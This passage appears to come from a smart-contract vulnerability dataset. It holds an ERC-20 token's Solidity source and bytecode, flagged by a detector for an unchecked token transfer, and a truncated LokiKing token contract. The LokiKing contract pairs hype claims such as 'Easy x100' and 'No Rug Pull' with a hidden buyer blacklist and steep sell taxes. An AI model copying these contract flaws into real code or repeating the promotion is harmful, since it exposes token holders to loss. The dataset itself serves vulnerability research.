function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* AAA token smart contract.
*/
contract AAAToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 10000000000 * (10**2);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function AAAToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "London Coin";
string constant public symbol = "AAA";
uint8 constant public decimals = 2;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f7578063095ea7b31461018757806313af4035146101ec57806318160ddd1461022f57806323b872dd1461025a578063313ce567146102df57806331c420d41461031057806370a08231146103275780637e1f2bb81461037e57806389519c50146103c357806395d89b4114610430578063a9059cbb146104c0578063dd62ed3e14610525578063e724529c1461059c575b600080fd5b3480156100ec57600080fd5b506100f56105eb565b005b34801561010357600080fd5b5061010c6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019357600080fd5b506101d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e0565b604051808215151515815260200191505060405180910390f35b3480156101f857600080fd5b5061022d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610716565b005b34801561023b57600080fd5b506102446107b6565b6040518082815260200191505060405180910390f35b34801561026657600080fd5b506102c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c0565b604051808215151515815260200191505060405180910390f35b3480156102eb57600080fd5b506102f461084e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031c57600080fd5b50610325610853565b005b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090e565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b506103a960048036038101908080359060200190929190505050610956565b604051808215151515815260200191505060405180910390f35b3480156103cf57600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610add565b005b34801561043c57600080fd5b50610445610cfd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048557808201518184015260208101905061046a565b50505050905090810190601f1680156104b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cc57600080fd5b5061050b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d36565b604051808215151515815260200191505060405180910390f35b34801561053157600080fd5b50610586600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc2565b6040518082815260200191505060405180910390f35b3480156105a857600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e49565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561064757600080fd5b600560009054906101000a900460ff1615156106a5576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600b81526020017f4c6f6e646f6e20436f696e00000000000000000000000000000000000000000081525081565b6000806106ed3385610dc2565b14806106f95750600082145b151561070457600080fd5b61070e8383610faa565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561081b57600080fd5b600560009054906101000a900460ff16156108395760009050610847565b61084484848461109c565b90505b9392505050565b600281565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108af57600080fd5b600560009054906101000a900460ff161561090c576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109b457600080fd5b6000821115610ad3576109ce64e8d4a51000600454611482565b8211156109de5760009050610ad8565b610a266000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149b565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a746004548361149b565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610ad8565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b3b57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7657600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c1c57600080fd5b505af1158015610c30573d6000803e3d6000fd5b505050506040513d6020811015610c4657600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600381526020017f414141000000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d9157600080fd5b600560009054906101000a900460ff1615610daf5760009050610dbc565b610db983836114b9565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ea557600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610ee057600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110d957600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611166576000905061147b565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111b5576000905061147b565b6000821180156111f157508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156114115761127c600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611482565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113446000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611482565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113ce6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149b565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561149057fe5b818303905092915050565b60008082840190508381101515156114af57fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114f657600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156115455760009050611705565b60008211801561158157508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561169b576115ce6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611482565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116586000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149b565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a72305820f9d91a124531ed54271341180f4ebd7b5a0d090988d22be8692ea070b4df1d310029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 5,759 |
0x29ec98ad952150d01b65b31dff76127a190b22a7
|
/**
*Submitted for verification at Etherscan.io on 2021-07-13
*/
/**
*
LokiKing
== == == == == == == == === == == ==
== == == == == == == == == ==== == === ==
== == == == == == == == == == == == ==
== == == == == == == == == == == == ==
== == == == == == == == == == == == ==
== == == == == == == == == == == == == =====
== == == == == == == == == == ==== == =====
======== == == == == == == == == == === ==== = ==
======== == == == == == == == == == == = ==
totalSupply : 1,000,000,000,000
liquidity : 70%
totalBurn : 26%
Marketing : 3%
team dev : 1%
***** I will add 2 ETH to the Liquidity *****
// FAIRLAUNCH
// Easy x100
// Liquidity pool locked
// Renounce
// Contract verified on Etherscan
* No Rug Pull
* Anti whales
* No presale
* 100% Community-driven
tg: https://t.me/LokiKingOfficial
twitter : https://twitter.com/Loki_KingE
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool) ;
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LokiKing is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _friends;
mapping (address => User) private trader;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode" Loki King ";
string private constant _symbol = unicode" LokiKing ";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _feeRate = 5;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
address payable private _marketingFixedWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private launchBlock = 0;
uint256 private buyLimitEnd;
struct User {
uint256 buyCD;
uint256 sellCD;
uint256 lastBuy;
uint256 buynumber;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_marketingFixedWalletAddress = marketingFixedWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
_isExcludedFromFee[marketingFixedWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_friends[from] && !_friends[to]);
if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
_friends[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
_friends[to] = true;
}
}
if(!trader[msg.sender].exists) {
trader[msg.sender] = User(0,0,0,0,true);
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if(block.timestamp > trader[to].lastBuy + (30 minutes)) {
trader[to].buynumber = 0;
}
if (trader[to].buynumber == 0) {
trader[to].buynumber++;
_taxFee = 5;
_teamFee = 5;
} else if (trader[to].buynumber == 1) {
trader[to].buynumber++;
_taxFee = 4;
_teamFee = 4;
} else if (trader[to].buynumber == 2) {
trader[to].buynumber++;
_taxFee = 3;
_teamFee = 3;
} else if (trader[to].buynumber == 3) {
trader[to].buynumber++;
_taxFee = 2;
_teamFee = 2;
} else {
//fallback
_taxFee = 5;
_teamFee = 5;
}
trader[to].lastBuy = block.timestamp;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired.");
trader[to].buyCD = block.timestamp + (45 seconds);
}
trader[to].sellCD = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired.");
}
uint256 total = 35;
if(block.timestamp > trader[from].lastBuy + (3 hours)) {
total = 10;
} else if (block.timestamp > trader[from].lastBuy + (1 hours)) {
total = 15;
} else if (block.timestamp > trader[from].lastBuy + (30 minutes)) {
total = 20;
} else if (block.timestamp > trader[from].lastBuy + (5 minutes)) {
total = 25;
} else {
//fallback
total = 35;
}
_taxFee = (total.mul(4)).div(10);
_teamFee = (total.mul(6)).div(10);
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(4));
_marketingFixedWalletAddress.transfer(amount.div(4));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
